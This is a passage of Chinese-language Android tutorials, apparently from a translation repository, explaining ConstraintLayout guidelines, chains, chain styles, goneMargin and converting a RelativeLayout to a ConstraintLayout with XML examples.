/>\n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-10.41.39-AM-210x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-10.41.39-AM.png)\n\n使用 ConstraintLayout 实现这样的 UI 效果非常简单。使用这个方法，你可以随意添加更多的行和列。\n\n完整的代码如下：\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <android.support.constraint.ConstraintLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n            xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n            xmlns:tools=\"http://schemas.android.com/tools\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\">\n\n            <android.support.constraint.Guideline\n                android:id=\"@+id/guideline\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"0dp\"\n                android:orientation=\"vertical\"\n                app:layout_constraintGuide_percent=\".5\"/>\n\n            <Button\n                android:id=\"@+id/button\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:text=\"Button\"\n                app:layout_constraintLeft_toLeftOf=\"parent\"\n                app:layout_constraintRight_toLeftOf=\"@+id/guideline\"\n                app:layout_constraintTop_toTopOf=\"parent\" />\n\n            <Button\n                android:id=\"@+id/button2\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginTop=\"0dp\"\n                android:text=\"Button\"\n                app:layout_constraintLeft_toLeftOf=\"parent\"\n                app:layout_constraintRight_toLeftOf=\"@+id/guideline\"\n                app:layout_constraintTop_toBottomOf=\"@+id/button\" />\n\n            <TextView\n                android:id=\"@+id/textView2\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"0dp\"\n                android:background=\"@color/colorAccent\"\n                android:text=\"TextView\"\n                app:layout_constraintBottom_toBottomOf=\"parent\"\n                app:layout_constraintLeft_toRightOf=\"@+id/guideline\"\n                app:layout_constraintRight_toRightOf=\"parent\"\n                app:layout_constraintTop_toTopOf=\"parent\" />\n        </android.support.constraint.ConstraintLayout>\n\n<h6 id=\"6\">6. 父视图的左边距, 一些是 16dp ，一些是 8dp:</h6>\n\n我有一些视图，其中一些左边距是 16dp，一些是 8dp。如下所示： \n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-10.52.32-AM-179x300.png)\n](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-10.52.32-AM.png)\n\n也许你会问这样的问题：为什么这篇文章中会提到这么简单的效果？主要是因为我在分享一些管理 UI 布局的技巧，我觉得你应该知道怎样用不同的方式来实现效果。\n\n所以是时候开始了。\n\n如果你由上至下地看下来，首先，第二个和最后一个视图外边距为 16dp，其余的外边距为 8dp。\n\n我能够直接设置所有视图的外边距，但是许多时候设计师说这样在某些小屏设备上看起来很丑，能否将这些视图都设置成 8dp 到 12dp 的外边距，并且将所有 16dp 的外边距改为 12dp。\n\n如果你直接设置外边距，那简直就是噩梦 。所以我将要设置两条辅助线，一个边距是 8dp，另一个边距是 16dp。两个都是垂直方向的。 \n\n    <android.support.constraint.Guideline\n        android:id=\"@+id/eightDpGuideLine\"\n        android:layout_width=\"0dp\"\n        android:layout_height=\"0dp\"\n        android:orientation=\"vertical\"\n        app:layout_constraintGuide_begin=\"8dp\" />\n\n    <android.support.constraint.Guideline\n        android:id=\"@+id/sixteenDpGuideLine\"\n        android:layout_width=\"0dp\"\n        android:layout_height=\"0dp\"\n        android:orientation=\"vertical\"\n        app:layout_constraintGuide_begin=\"16dp\" />\n\n现在只需要将所有视图的外边距都设置成 0dp 就可以很轻松地实现需求了。下面会给出完整的代码：\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <android.support.constraint.ConstraintLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n            xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n            xmlns:tools=\"http://schemas.android.com/tools\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\">\n\n            <android.support.constraint.Guideline\n                android:id=\"@+id/eightDpGuideLine\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"0dp\"\n                android:orientation=\"vertical\"\n                app:layout_constraintGuide_begin=\"8dp\"/>\n\n            <android.support.constraint.Guideline\n                android:id=\"@+id/sixteenDpGuideLine\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"0dp\"\n                android:orientation=\"vertical\"\n                app:layout_constraintGuide_begin=\"16dp\"/>\n\n            <Button\n                android:id=\"@+id/button3\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginTop=\"38dp\"\n                android:text=\"Button\"\n                app:layout_constraintLeft_toLeftOf=\"@+id/sixteenDpGuideLine\"\n                app:layout_constraintTop_toTopOf=\"parent\" />\n\n            <Button\n                android:id=\"@+id/button4\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginTop=\"99dp\"\n                android:text=\"Button\"\n                app:layout_constraintLeft_toLeftOf=\"@+id/eightDpGuideLine\"\n                app:layout_constraintTop_toTopOf=\"parent\" />\n\n            <Button\n                android:id=\"@+id/button5\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginTop=\"75dp\"\n                android:text=\"Button\"\n                app:layout_constraintLeft_toLeftOf=\"@+id/sixteenDpGuideLine\"\n                app:layout_constraintTop_toBottomOf=\"@+id/button3\" />\n\n            <TextView\n                android:id=\"@+id/textView5\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginTop=\"115dp\"\n                android:text=\"TextView\"\n                app:layout_constraintLeft_toLeftOf=\"@+id/eightDpGuideLine\"\n                app:layout_constraintTop_toBottomOf=\"@+id/button4\" />\n\n            <ProgressBar\n                android:id=\"@+id/progressBar\"\n                style=\"?android:attr/progressBarStyle\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginTop=\"86dp\"\n                app:layout_constraintLeft_toLeftOf=\"@+id/sixteenDpGuideLine\"\n                app:layout_constraintTop_toBottomOf=\"@+id/button5\" />\n        </android.support.constraint.ConstraintLayout>\n\n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-11.11.23-AM-1024x559.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-11.11.23-AM.png)\n\n现在设计师想要把 16dp 改成 20dp。我只需要改变 Guideline 值即可：  app:layout_constraintGuide_begin=”16dp” 变为 app:layout_constraintGuide_begin=”20dp”。另外值得注意的是：要及时修改命名以免给你的同事造成困惑。例如这里我会及时将命名由 sixteenDpGuideLine 修改成 twentyDpGuideLine。现在你可以看到下图中神奇的变化： \n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-11-17-59.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-11-17-59.gif)\n\n<h6 id=\"7\">7. 怎样在 ConstraintLayout 中实现 LinearLayout:</h6>\n\n我们现在有三个按钮，水平均分并排着。在 LinearLayout 中我们可以通过 weight 来实现，代码如下：\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:orientation=\"horizontal\">\n\n            <Button\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:layout_weight=\"1\"\n                android:text=\"Button1\" />\n\n            <Button\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:layout_weight=\"1\"\n                android:text=\"Button2\" />\n\n            <Button\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:layout_weight=\"1\"\n                android:text=\"Button3\" />\n        </LinearLayout>\n\n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-11.27.11-AM-209x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-11.27.11-AM.png)\n\n怎样在 ConstraintLayout 中实现这种效果呢？ 非常简单，直接看代码： \n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <android.support.constraint.ConstraintLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n            xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n            xmlns:tools=\"http://schemas.android.com/tools\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\">\n\n            <Button\n                android:id=\"@+id/button1\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:text=\"Button\"\n                app:layout_constraintLeft_toLeftOf=\"parent\"\n                app:layout_constraintRight_toLeftOf=\"@+id/button2\" />\n\n            <Button\n                android:id=\"@+id/button2\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:text=\"Button\"\n                app:layout_constraintLeft_toRightOf=\"@+id/button1\"\n                app:layout_constraintRight_toLeftOf=\"@+id/button3\" />\n\n            <Button\n                android:id=\"@+id/button3\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:text=\"Button\"\n                app:layout_constraintLeft_toRightOf=\"@+id/button2\"\n                app:layout_constraintRight_toRightOf=\"parent\" />\n        </android.support.constraint.ConstraintLayout>\n\n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-11.36.04-AM-209x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-11.36.04-AM.png)\n\n这样就得到了同样的效果。只需关注一点，在这些按钮中我建立了两两之间的关系，并且设置 width=”0dp”。\n\n    android:id=\"@+id/button1\"\n    ........\n    app:layout_constraintRight_toLeftOf=\"@+id/button2\"\n\n    android:id=\"@+id/button2\"\n    ........\n    app:layout_constraintLeft_toRightOf=\"@+id/button1\"\n    app:layout_constraintRight_toLeftOf=\"@+id/button3\"\n    ........\n\n噢不，你们已经学到了一个新的概念叫做 **chaining**。当我们建立视图之间的两者关系时，编辑器会自动链接起来。现在是时候来讨论下使用 chaining 带来的好处了。在这之前，我想要你先了解 chaining 在编辑器中的样子：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-11.44.26-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-11.44.26-AM.png)\n\n在下文我将复制一些来自 Android 官方的文档。因为我觉得解释得很好。\n\n**Chains:**\n\nChains 在一个方向（水平或垂直）提供类似组合的行为。另一方向可以独立约束。\n\n**创建 chain:**\n\n 一系列控件通过建立双向联系从而链接成链 (看下面，展示了一个含有两个控件的最小链)。\n\n![](https://developer.android.com/reference/android/support/constraint/resources/images/chains.png)\n\n**Chain 的头部**\n\nChain 被位于它链中第一个元素的属性集控制 (链的“头”部)：\n\n![](https://developer.android.com/reference/android/support/constraint/resources/images/chains-head.png)\n\n对于水平链来说最左边的控件是头部，对垂直链来说最上面的控件是头部。\n\n现在我觉得你们应该熟悉了 Chaining 的概念了。接下来我会介绍关于 chaining 的另一个知识点：**chaining style**。本来有一个非常好的文档来介绍它，但我决定稍后再推荐，因为它会把你搞混淆。首先，我先来让你们掌握些实际经验。\n\n对于 chaining style 来说，有一个新的属性 **layout_constraintHorizontal_chainStyle\n(layout_constraintVertical_chainStyle)** 我们能给这个属性设置五种值。\n\nSpread Chain, Spread Inside Chain, Packed Chain, Packed Chain with Bias 以及 Weighted Chain。下面将一一介绍每一种值。\n\n**Spread Chain:**\n\n通过在头部视图的属性中添加 “spread”，得到如下的结果。\n\n    app:layout_constraintHorizontal_chainStyle=\"spread\"\n\n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-11.57.28-AM-211x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-11.57.28-AM.png)\n\n并没有发生变化，因为 **spread ** 就是默认值。🙂\n\n**Spread Inside Chain:**\n \n在头部视图中添加 “spread inside”，得到如下结果： \n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-12-03-41.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-12-03-41.gif)\n\n简而言之当我的头部视图中设置这个值时，链头和尾部的视图都自动地依附到了父容器的左右两边。如果你想要这种效果，那就应该使用  “spread_insdie” 值。\n\n**Packed Chain:**\n\n在头部视图中添加 “packed”，得到如下结果：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-12-07-52.gif)\n](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-12-07-52.gif)\n\n如果我们想要所有的视图连在一起，我们就应使用 “packed” 属性。需要注意一点，所有的视图会默认变为水平居中。现在我的问题是我不想要水平居中的效果，那么就轮到下个属性了。\n\n**Packed Chain with Bias:**\n\n在头部视图中添加 “packed and horizontal bias”，得到如下结果：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-12-15-05.gif)\n](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-12-15-05.gif)\n\n通过使用偏移量属性，我能随意地修改位置。\n\n**Weighted Chain:**\n\n比如我有三个按钮，前两个要占半个屏幕，第三个占据剩下的一半屏幕。对于这种需求，我将要使用到 weighted chain 概念，如下所示。一个关键点是，通常来说，我们使用默认的 “spread” 属性，然后添加一个 **“layout_constraintHorizontal_weight”** 属性来管理视图空白的分布。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-12-22-55.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-12-22-55.gif)\n\n现在我们了解了 Chaining 的概念以及 chaining styles 的不同。接下来我将要复制一些关于样式的定义：\n\n- `CHAIN_SPREAD` — 元素将被展开 (默认样式)\n- Weighted chain — 在 `CHAIN_SPREAD` 模式下, 如果控件被设置成 `MATCH_CONSTRAINT`, 它们将会分割剩余空间\n- `CHAIN_SPREAD_INSIDE` — 同样地, 但是链的端点不会被展开\n- `CHAIN_PACKED` —链的元素将会被拼接，子元素的水平或垂直偏移量会影响拼接后整体的位置\n\n![](https://developer.android.com/reference/android/support/constraint/resources/images/chains-styles.png)\n\n**Weighted chains:**\n\n链的默认样式是展开并均分剩余空间。如果一个或多个元素使用  `MATCH_CONSTRAINT`，它们将会使用剩余空间(平均分配剩余空间)。 `layout_constraintHorizontal_weight` 属性和  `layout_constraintVertical_weight` 属性将会控制类型为 `MATCH_CONSTRAINT` 的元素如何分配剩余空间。例如， 一条链上有两个元素使用 `MATCH_CONSTRAINT`, 第一个元素的权重值是 2 第二个元素的权重值是 1, 那么第一个元素占据的空间将是第二个元素的两倍。\n\n<h6 id=\"8\">8. 隐藏视图后，布局遭到破坏：</h6>\n\n在运行时，某些视图隐藏之后会发生什么呢？我做了一些实验并得到了奇怪的结果。 为了解释并解决这些问题，我用了一个非常简单但有效的例子，例如我有如下两个按钮：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-12.33.31-PM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-12.33.31-PM.png)\n\n根据编写的代码，当第二个按钮点击时，第一个按钮会隐藏。当我实现这个代码时，我猜想第二个按钮会移动到父容器的左边缘，让我们来看看发生了什么。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-12-36-13.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-12-36-13.gif)和\n\n哈哈我的设想被推翻了！\n\n解决方案：基本上来说，ConstraintLayout 中有一个新的属性叫做  “app:layout_goneMargin”。通过使用这个属性，我能解决这种问题。因此我将添加一两行代码然后看看我的问题解决没。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-12-40-40.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-12-40-40.gif)\n\n砰！如期所至！好耶。\n\n好啦各位，该说再见啦。下期再见！\n\n**[ConstraintLayout \\[Animations | Dynamic Constraints | UI by Java\\] ( What the hell is this) \\[Part3\\] ](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-animations-dynamic-constraints-ui-java-hell.md)**\n"
  },
  {
    "path": "TODO/constraint-layout-hell.md",
    "content": "> * 原文地址：[Constraint Layout ( What the hell is this )](http://www.uwanttolearn.com/android/constraint-layout-hell/)\n* 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/about/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jifaxu](https://github.com/jifaxu)\n* 校对者：[yazhi1992](https://github.com/yazhi1992),  [jamweak](https://github.com/jamweak)\n\n# ConstraintLayout (这到底是什么)\n\n喔，又是新的一天，为了不浪费这宝贵的时光，让我们来学点新知识吧 :)。\n\n大家好，今天让我们学习 Android 里的 Constraint 布局。\n\n**动机：**\n\n我想先讨论一下我在学习这个很酷的布局时的经验。当 Google 发布这个布局后我就开始学习了，在这个过程中我遇到了很多的问题。我想找一些优秀的教程，但是结果都是一些教我在可视化编辑器里拖拽图片的东西，这些对我一点用都没有。两个月之后我改变了我的方法。通过分析我自己的特点我找到了答案。我擅长用 XML 来编写 LinearLayout，RelativeLayout，FrameLayout 等，所以我觉得我应该通过 XML 来学习 ConstraintLayout。但是当我在可视化编辑器里添加了一些组件并打开 XML 文件的时候，我再一次陷入了困境，这里面有太多我不认识的新标签了。虽然感到很沮丧但我并不打算就此放弃。再一次地，我改变了方法，这次我决定放弃可视化编辑器，创建一个 RelativeLayout 再将它转换成 ConstraintLayout。一切尽在意料之中，这次我只用了一天就掌握了它 🙂，现在我已经习惯使用 ConstraintLayout 了。\n\n在这之后，我又用同样的方法将 LinearLayout 和 FrameLayout 转成了 ConstraintLayout。今天我将会在这篇博客中使用同样的方法。每个人脑回路都不太一样，所以有可能你并不认同我的方法。但是对于那些苦于不知如何入手的朋友们那那可以向你保证这个方法时值得一试的。还有一个好消息那就是现在我知道如何顺畅的使用可视化编辑器了。事情已经说的很清楚了，现在是时候开始学习 **CONSTRAINT LAYOUT** 了。\n\n首先我们需要下载 Android Studio 2.3。在这之前的可视化编辑器做的不够好，而且在 Design 标签栏里还有一些问题。所以一定要下载 2.3 beta 版。\n\n创建新工程\n\n[![Create a new project.](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-9.39.45-AM-300x152.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-9.39.45-AM.png)\n\n[![New proejct](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-9.44.51-AM-300x180.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-9.44.51-AM.png)\n\n[![screen-shot-2017-01-07-at-9-45-10-am](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-9.45.10-AM-300x188.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-9.45.10-AM.png)\n\n[![screen-shot-2017-01-07-at-9-45-29-am](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-9.45.29-AM-300x173.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-9.45.29-AM.png)\n\n现在，我们的工程已经准备好了。因为我选了 No Activity，所以在工程里没有 Java 和 XML 布局文件。如下所示。\n\n[![screen-shot-2017-01-07-at-9-53-17-am](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-9.53.17-AM-300x267.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-9.53.17-AM.png)\n\n我们将主要围绕布局文件来构建这篇文章。\n\n**1. 从 RelativeLayout 到 ConstraintLayout：**\n\n现在我会创建第一个 RelativeLayout，之后我们将把它转化成 ConstraintLayout。\n\n[![screen-shot-2017-01-07-at-10-11-05-am](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-10.11.05-AM-1024x437.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-10.11.05-AM.png)\n\n从上图我们可以看到这是一个 Android 最常见的列表设计样式。我会在下面向你展示我是如何通过 XML 实现的。现在只简单的关注图片上一眼就可以看到的箭头。从这些箭头可以看出来我们是怎样用 RelativeLayout 的标签来实现位置关系的。\n\n比如标题 TextView 就是 android:layout_toRightOf ImageView 的。\n\n作为一个用户我有这些需求\n\n1. 我想要一个贴靠屏幕左侧并且宽高比为 4:3 的 ImageView。\n\n2. 我想要一个单行标题，它应该在图片的右边。\n\n3. 我想要一个描述，在图片右边标题下边，最多两行。\n\n4. 我想要一个按钮，在图片下边并且和描述左对齐\n\n我写了下面这样的 XML，重要的标签会**加粗**显示。\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:padding=\"16dp\">\n    \n        <!-- 4:3 ratio -->\n        <ImageView\n            android:id=\"@+id/listingImageView\"\n            android:layout_width=\"96dp\"\n            android:layout_height=\"72dp\"\n            android:scaleType=\"centerCrop\"\n            android:src=\"@drawable/image\" />\n    \n        <TextView\n            android:id=\"@+id/titleTextView\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_marginBottom=\"5dp\"\n            android:layout_marginLeft=\"5dp\"\n            android:layout_marginRight=\"5dp\"\n            android:layout_toRightOf=\"@id/listingImageView\"\n            android:lines=\"1\"\n            android:text=\"Hey I am title\"\n            android:textSize=\"20sp\"\n    \n            android:textStyle=\"bold\" />\n    \n        <TextView\n            android:id=\"@+id/descriptionTextView\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_below=\"@id/titleTextView\"\n            android:layout_marginLeft=\"5dp\"\n            android:layout_marginRight=\"5dp\"\n            android:layout_toRightOf=\"@id/listingImageView\"\n            android:ellipsize=\"end\"\n            android:lines=\"2\"\n            android:text=\"Hey I am description. Yes I am description. Believe on me I am description.\"\n            android:textSize=\"16sp\"\n            />\n    \n        <Button\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignLeft=\"@id/descriptionTextView\"\n            android:layout_below=\"@id/listingImageView\"\n            android:text=\"What! Button, Why \" />\n    \n    </RelativeLayout>\n\n现在我想每个人都可以很轻松地知道我是如何实现这个 UI 的了。为了更突出一点，我将 UI 中重要的标签单独拿出来了。\n\n    ImageView       android:id=\"@+id/listingImageView\"\n\n    TextView        android:id=\"@+id/titleTextView\"\n                    android:layout_toRightOf=\"@id/listingImageView\"\n    \n    TextView        android:id=\"@+id/descriptionTextView\"\n                    android:layout_below=\"@id/titleTextView\"\n                    android:layout_toRightOf=\"@id/listingImageView\"\n    \n    Button          android:layout_alignLeft=\"@id/descriptionTextView\"\n                    android:layout_below=\"@id/listingImageView\"\n\n现在是时候把这个布局转换成 ConstraintLayout 了。首先我们需要在 gradle 文件里增加依赖并同步。\n\n     compile 'com.android.support.constraint:constraint-layout:1.0.0-beta4'\n\n如下图示，现在我们的 UI 已经是 ConstraintLayout 了。\n\n[![screen-shot-2017-01-07-at-10-49-16-am](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-10.49.16-AM-1024x568.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-10.49.16-AM.png)\n\n这和 RelativeLayout 的效果是百分百相同的。你可能要问了。为什么我没有在这张图里显示箭头。那是因为我不想搅乱你的思绪。我马上就会向你展示带箭头的图像，但是你得保证不只关注下面这张图，开始阅读和享受吧。\n\n[![screen-shot-2017-01-07-at-10-49-47-am](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-10.49.47-AM-1024x632.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-10.49.47-AM.png)\n\n哈哈，再说一件事。当我学习到这个阶段时，我不依赖可视化编辑器创建了这个 UI，但是当我打开可视化编辑器了，我对自己做到的事感到惊讶。所以在学习了 XML 之后，我可以在几分钟之内通过可视化编辑器完成同样的事了。现在是时候从 XML 开始学习了。重要的标签已经被**加粗**显示。\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <android.support.constraint.ConstraintLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\">\n        <!-- 4:3 ratio -->\n    \n        <ImageView\n            android:id=\"@+id/listingImageView\"\n            android:layout_width=\"96dp\"\n            android:layout_height=\"72dp\"\n            android:layout_marginLeft=\"16dp\"\n            android:layout_marginStart=\"16dp\"\n            android:layout_marginTop=\"16dp\"\n            android:scaleType=\"centerCrop\"\n            android:src=\"@drawable/image\"\n            app:layout_constraintLeft_toLeftOf=\"parent\"\n            app:layout_constraintTop_toTopOf=\"parent\" />\n    \n        <TextView\n            android:id=\"@+id/titleTextView\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"wrap_content\"\n            android:layout_marginBottom=\"5dp\"\n            android:layout_marginLeft=\"5dp\"\n            android:layout_marginRight=\"5dp\"\n            android:layout_marginTop=\"16dp\"\n            android:lines=\"1\"\n            android:text=\"Hey I am title\"\n            android:textSize=\"20sp\"\n            android:textStyle=\"bold\"\n            app:layout_constraintLeft_toRightOf=\"@+id/listingImageView\"\n            app:layout_constraintRight_toRightOf=\"parent\"\n            app:layout_constraintTop_toTopOf=\"parent\" />\n    \n        <TextView\n            android:id=\"@+id/descriptionTextView\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"wrap_content\"\n            android:layout_marginLeft=\"5dp\"\n            android:layout_marginRight=\"5dp\"\n            android:layout_marginTop=\"0dp\"\n            android:ellipsize=\"end\"\n            android:lines=\"2\"\n            android:text=\"Hey I am description. Yes I am description. Believe on me I am description.\"\n            android:textSize=\"16sp\"\n            app:layout_constraintLeft_toRightOf=\"@+id/listingImageView\"\n            app:layout_constraintRight_toRightOf=\"parent\"\n            app:layout_constraintTop_toBottomOf=\"@+id/titleTextView\" />\n\n\n        <Button\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_marginLeft=\"0dp\"\n            android:layout_marginStart=\"0dp\"\n            android:layout_marginTop=\"0dp\"\n            android:text=\"What! Button, Why \"\n            app:layout_constraintLeft_toLeftOf=\"@+id/descriptionTextView\"\n            app:layout_constraintTop_toBottomOf=\"@+id/listingImageView\" />\n    \n    </android.support.constraint.ConstraintLayout>\n\n在了解更多细节之前，我要告诉你一个关于 ConstraintLayout 的秘密武器：如何阅读XML。\n\n就像在 RelativeLayout 中，当我们使用 **android:layout_toRightOf=\"@id/abc\"** 就代表着当前的视图在源视图的右边。这意味着编辑器自动地识别出了我们指的是当前的视图。我不需要额外的声明我操作的是哪个视图，只需要通过 id 引用其它视图就好了。\n\n但在 ConstraintLayout 中，我需要同时指出当前的组件和别的组件。这是 ConstraintLayout 的一个特点。就像下面的例子一样。(**只需要关注标签名，暂时别去想它是干嘛的**)\n\n\n    app:layout_constraintLeft_toLeftOf=\"@+id/descriptionTextView\n\n如果你看了就知道我指的是 \"layout_constraintLeft_toLeftOf\"。\n\n我对这个组件说，嗨，把你的左边缘和有这个 id 的组件的左边对齐。简单，现在回到正题吧。\n\n为了简单考虑，我还是将我们需要的标签单独拿出来讨论。\n\n\n    <android.support.constraint.ConstraintLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\">\n        <!-- 4:3 ratio -->\n    \n    ImageView       android:id=\"@+id/listingImageView\"\n                    app:layout_constraintLeft_toLeftOf=\"parent\"\n                    app:layout_constraintTop_toTopOf=\"parent\" />\n    \n    TextView        android:id=\"@+id/titleTextView\"\n                    android:layout_width=\"0dp\"\n                    app:layout_constraintLeft_toRightOf=\"@+id/listingImageView\"\n                    app:layout_constraintRight_toRightOf=\"parent\"\n                    app:layout_constraintTop_toTopOf=\"parent\" />\n    \n    TextView        android:id=\"@+id/descriptionTextView\"\n                    android:layout_width=\"0dp\"\n                    app:layout_constraintLeft_toRightOf=\"@+id/listingImageView\"\n                    app:layout_constraintRight_toRightOf=\"parent\"\n                    app:layout_constraintTop_toBottomOf=\"@+id/titleTextView\" />\n    \n    Button          app:layout_constraintLeft_toLeftOf=\"@+id/descriptionTextView\"\n                    app:layout_constraintTop_toBottomOf=\"@+id/listingImageView\" />\n\n\n现在我们就只讨论描述文字。把之前提到的 ConstraintLayout 的特点记在脑子里，你需要先提当前视图，然后才轮到其它视图。。\n\n**android:id=”@+id/titleTextView”:**\n\n我想这够简单，不需要解释。\n\n**android:layout_width=”0dp”:**\n\n宽 0dp 说明宽应当被别的约束控制，你会在下面看到它。\n\n**app:layout_constraintLeft_toRightOf=”@+id/listingImageView”:**\n\n在这里我指定了渲染的顺序。嗨，把我(当前的 TextView)的左边缘放在 ImageView(@+id/listingImageView) 